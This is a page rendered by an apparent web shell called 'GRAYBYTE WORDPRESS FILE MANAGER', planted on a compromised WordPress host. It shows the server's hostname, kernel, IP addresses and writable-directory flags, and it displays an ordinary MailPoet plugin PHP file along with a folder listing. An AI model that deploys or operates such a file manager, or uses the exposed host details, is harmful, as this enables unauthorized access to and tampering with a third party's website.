✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/mailpoet/lib/Newsletter//BlockPostQuery.php
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Newsletter;

if (!defined('ABSPATH')) exit;


use DateTimeInterface;

class BlockPostQuery {
  const DEFAULT_POSTS_PER_PAGE = 10;

  /**
   * @var array{
   *     amount?: int,
   *     offset?: int,
   *     posts?: int[],
   *     contentType?: string,
   *     postStatus?: string,
   *     search?: string,
   *     sortBy?: 'newest' | 'DESC' | 'ASC',
   *     terms?: array{'taxonomy': string, 'id': int}[],
   *     inclusionType?: 'include'|'exclude',
   *     excludeOutOfStock?: bool,
   * } $args
   */
  public $args = [];

  /*** @var null|int[] \WP_Query::post__not_in  */
  public $postsToExclude = [];

  /** @var int|false */
  public $newsletterId = false;

  /***
   * Translates to \WP_Query::date_query => array{'column': 'post_date_gmt', 'after': date string}
   *
   * @var bool|DateTimeInterface|null
   */
  public $newerThanTimestamp = false;

  /**
   * If it's a dynamic block
   * Dynamic blocks are not allowed to query none-public posts
   *
   * @var bool
   */
  public $dynamic = true;

  /** @var int[] product IDs to include */
  public $includeProductIds = [];

  /**
   * @param array{
   *    args?: array{
   *     amount?: int,
   *     offset?: int,
   *     posts?: int[],
   *     contentType?: string,
   *     postStatus?: string,
   *     search?: string,
   *     sortBy?: 'newest' | 'DESC' | 'ASC',
   *     terms?: array{'taxonomy': string, 'id': int}[],
   *     inclusionType?: 'include'|'exclude',
   *     excludeOutOfStock?: bool,
   *    },
   *    postsToExclude?: int[],
   *    newsletterId?: int|false|null,
   *    newerThanTimestamp?: bool|DateTimeInterface|null,
   *    dynamic?: bool,
   *    includeProductIds?: int[],
   * } $query
   * @return void
   */
  public function __construct(
    array $query = []
  ) {
    $this->args = $query['args'] ?? [];
    $this->postsToExclude = $query['postsToExclude'] ?? [];
    $this->newsletterId = $query['newsletterId'] ?? false;
    $this->newerThanTimestamp = $query['newerThanTimestamp'] ?? false;
    $this->dynamic = $query['dynamic'] ?? true;
    $this->includeProductIds = $query['includeProductIds'] ?? [];
  }

  public function getPostType(): string {
    return $this->args['contentType'] ?? 'post';
  }

  public function getPostStatus(): string {
    if ($this->dynamic) {
      return 'publish';
    }
    return $this->args['postStatus'] ?? 'publish';
  }

  public function getOrder(): string {
    return isset($this->args['sortBy']) && in_array($this->args['sortBy'], ['newest', 'DESC']) ? 'DESC' : 'ASC';
  }

  /**
   * @see https://developer.wordpress.org/reference/classes/wp_query/#taxonomy-parameters
   * @return array[] array{relation: string, taxonomy: string, field: string, terms: int/string/array, operator: string}
   */
  private function constructTaxonomiesQuery(): array {
    $taxonomiesQuery = [];
    if (isset($this->args['terms']) && is_array($this->args['terms'])) {
      $taxonomies = [];
      // Categorize terms based on their taxonomies
      foreach ($this->args['terms'] as $term) {
        $taxonomy = $term['taxonomy'];
        if (!isset($taxonomies[$taxonomy])) {
          $taxonomies[$taxonomy] = [];
        }
        $taxonomies[$taxonomy][] = $term['id'];
      }

      foreach ($taxonomies as $taxonomy => $terms) {
        $tax = [
          'taxonomy' => $taxonomy,
          'field' => 'id',
          'terms' => $terms,
        ];
        if (isset($this->args['inclusionType']) && $this->args['inclusionType'] === 'exclude') $tax['operator'] = 'NOT IN';
        $taxonomiesQuery[] = $tax;
      }
      if (!empty($taxonomiesQuery)) {
        // With exclusion we want to use 'AND', because we want posts that
        // don't have excluded tags/categories. But with inclusion we want to
        // use 'OR', because we want posts that have any of the included
        // tags/categories
        $taxonomiesQuery['relation'] = (isset($this->args['inclusionType']) && $this->args['inclusionType'] === 'exclude')
          ? 'AND'
          : 'OR';
      }
    }

    // make $taxonomies_query nested to avoid conflicts with plugins that use taxonomies
    return empty($taxonomiesQuery) ? [] : [$taxonomiesQuery];
  }

  public function getQueryParams(): array {
    $postsPerPage = (!empty($this->args['amount']) && (int)$this->args['amount'] > 0)
      ? (int)$this->args['amount']
      : self::DEFAULT_POSTS_PER_PAGE;
    $parameters = [
      'posts_per_page' => $postsPerPage,
      'post_type' => $this->getPostType(),
      'post_status' => $this->getPostStatus(),
      'orderby' => 'date',
      'order' => $this->getOrder(),
    ];
    if (!empty($this->args['offset']) && (int)$this->args['offset'] > 0) {
      $parameters['offset'] = (int)$this->args['offset'];
    }
    if (isset($this->args['search'])) {
      $parameters['s'] = $this->args['search'];
    }
    if (isset($this->args['posts']) && is_array($this->args['posts'])) {
      $parameters['post__in'] = $this->args['posts'];
      $parameters['posts_per_page'] = -1; // Get all posts with matching IDs
    }
    if (!empty($this->postsToExclude)) {
      $parameters['post__not_in'] = $this->postsToExclude;
    }

    // If specific product IDs are provided, override post__in
    if (!empty($this->includeProductIds)) {
      $parameters['post__in'] = $this->includeProductIds;
      // Keep the posts_per_page limit to ensure we don't return too many products
    }

    // WP posts with the type attachment have always post_status `inherit`
    if ($parameters['post_type'] === 'attachment' && $parameters['post_status'] === 'publish') {
      $parameters['post_status'] = 'inherit';
    }

    // This enables using posts query filters for get_posts, where by default
    // it is disabled.
    // However, it also enables other plugins and themes to hook in and alter
    // the query.
    $parameters['suppress_filters'] = false;

    if ($this->newerThanTimestamp instanceof DateTimeInterface) {
      //Ensure UTC timezone
      $after = new \DateTime('now', new \DateTimeZone('UTC'));
      $after->setTimestamp($this->newerThanTimestamp->getTimestamp());
      $parameters['date_query'] = [
        [
          'column' => 'post_date_gmt',
          'after' => $after->format('Y-m-d H:i:s'),
        ],
      ];
    }

    $parameters['tax_query'] = $this->constructTaxonomiesQuery();
    return $parameters;
  }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Editor
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Embed
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Links
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Listing
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Options
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Preview
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Renderer
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
RestApi
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Scheduler
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Segment
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Sending
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Sharing
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Shortcodes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
Statistics
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
ViewInBrowser
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
ApiDataSanitizer.php
1.689 KB
21 Apr 2023 3.01 PM
tdhomesa / tdhomesa
0644
AutomatedLatestContent.php
4.85 KB
12 May 2026 4.28 PM
tdhomesa / tdhomesa
0644
AutomaticEmailsRepository.php
2.103 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
BlockPostQuery.php
6.345 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
BulkActionController.php
2.909 KB
26 May 2026 6.03 PM
tdhomesa / tdhomesa
0644
BulkActionException.php
0.917 KB
26 May 2026 6.03 PM
tdhomesa / tdhomesa
0644
DynamicProducts.php
6.95 KB
5 Aug 2025 4.14 PM
tdhomesa / tdhomesa
0644
NewsletterCoupon.php
1.048 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
NewsletterDeleteController.php
6.854 KB
6 Feb 2024 6.47 PM
tdhomesa / tdhomesa
0644
NewsletterHtmlSanitizer.php
2.939 KB
25 Mar 2024 3.16 PM
tdhomesa / tdhomesa
0644
NewsletterPostsRepository.php
1.015 KB
6 Feb 2024 6.47 PM
tdhomesa / tdhomesa
0644
NewsletterResendController.php
10.765 KB
28 Apr 2026 3.31 PM
tdhomesa / tdhomesa
0644
NewsletterSaveController.php
20.69 KB
2 Jun 2026 6.11 PM
tdhomesa / tdhomesa
0644
NewsletterValidator.php
4.298 KB
14 Jan 2025 7.40 PM
tdhomesa / tdhomesa
0644
NewslettersRepository.php
33.311 KB
2 Jun 2026 6.11 PM
tdhomesa / tdhomesa
0644
StatusController.php
4.979 KB
26 May 2026 6.03 PM
tdhomesa / tdhomesa
0644
Url.php
4.496 KB
19 May 2026 4.31 PM
tdhomesa / tdhomesa
0644
index.php
0.006 KB
25 Apr 2023 6.18 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF